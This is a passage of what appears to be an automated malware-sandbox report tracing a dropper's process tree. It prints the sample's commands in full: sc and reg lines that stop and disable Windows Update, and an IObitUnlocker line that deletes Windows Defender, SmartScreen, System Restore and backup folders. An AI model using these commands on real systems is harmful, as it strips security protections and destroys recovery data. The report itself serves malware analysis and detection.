        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2492
      - C:\Windows\SysWOW64\mode.com
        
        Mode 79,49
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1912
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ver
        6⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        
        PID:4168
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4112
      - C:\Windows\SysWOW64\find.exe
        
        find /i "0x0"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2112
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c tasklist
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3324
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3620
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2352
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
        6⤵
        
        PID:1136
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:636
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\Sense"
        6⤵
        
        PID:2124
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5040
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1564
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
        6⤵
        
        PID:420
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5028
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1620
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3080
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
        6⤵
        
        PID:2672
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3436
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1976
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
        6⤵
        
        PID:404
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
        6⤵
        
        PID:3808
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
        6⤵
        
        PID:4480
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ver "
        6⤵
        
        PID:4808
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /c:"6.1.7601"
        6⤵
        
        PID:1872
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1604
      - C:\Windows\SysWOW64\find.exe
        
        find /i "Windows 7"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3764
      - C:\Windows\SysWOW64\reg.exe
        
        reg query HKLM\System\CurrentControlset\Services\WdFilter
        6⤵
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:3468
      - C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
        
        7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2472
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game.exe /CurrentDiskSize
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3268
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:4520
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:1252
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3268"
        7⤵
        Executes a command shell one-liner
        
        PID:1648
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "3268"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2244
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2240
      - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        
        PID:32
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3960
      - C:\Windows\SysWOW64\sc.exe
        
        sc config dosvc start= disabled
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:556
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4264
      - C:\Windows\SysWOW64\sc.exe
        
        sc config bits start= disabled
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4756
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:3040
      - C:\Windows\SysWOW64\sc.exe
        
        sc config UsoSvc start= disabled
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2208
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2356
      - C:\Windows\SysWOW64\sc.exe
        
        sc config WaaSMedicSvc start= disabled
        6⤵
        Launches sc.exe
        
        PID:2008
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3020
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3320
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
        6⤵
        
        PID:1692
      - C:\Windows\SysWOW64\reg.exe
        
        reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3952
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
        6⤵
        
        PID:632
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1448
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
        6⤵
        
        PID:4992
      - C:\Windows\SysWOW64\reg.exe
        
        reg unload HKLM\TEMP_SYSTEM
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1880
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game /delwd
        6⤵
        Sets service image path in registry
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3860
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:1820
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:2216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:3976
        
        C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:1904
        
        C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:2268
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3860"
        7⤵
        Executes a command shell one-liner
        
        PID:3560
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "3860"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4836
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game /DelWD
        6⤵
        Sets service image path in registry
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4168
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:4392
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:4716
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1340
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2244
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4236
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4712
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1408
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\S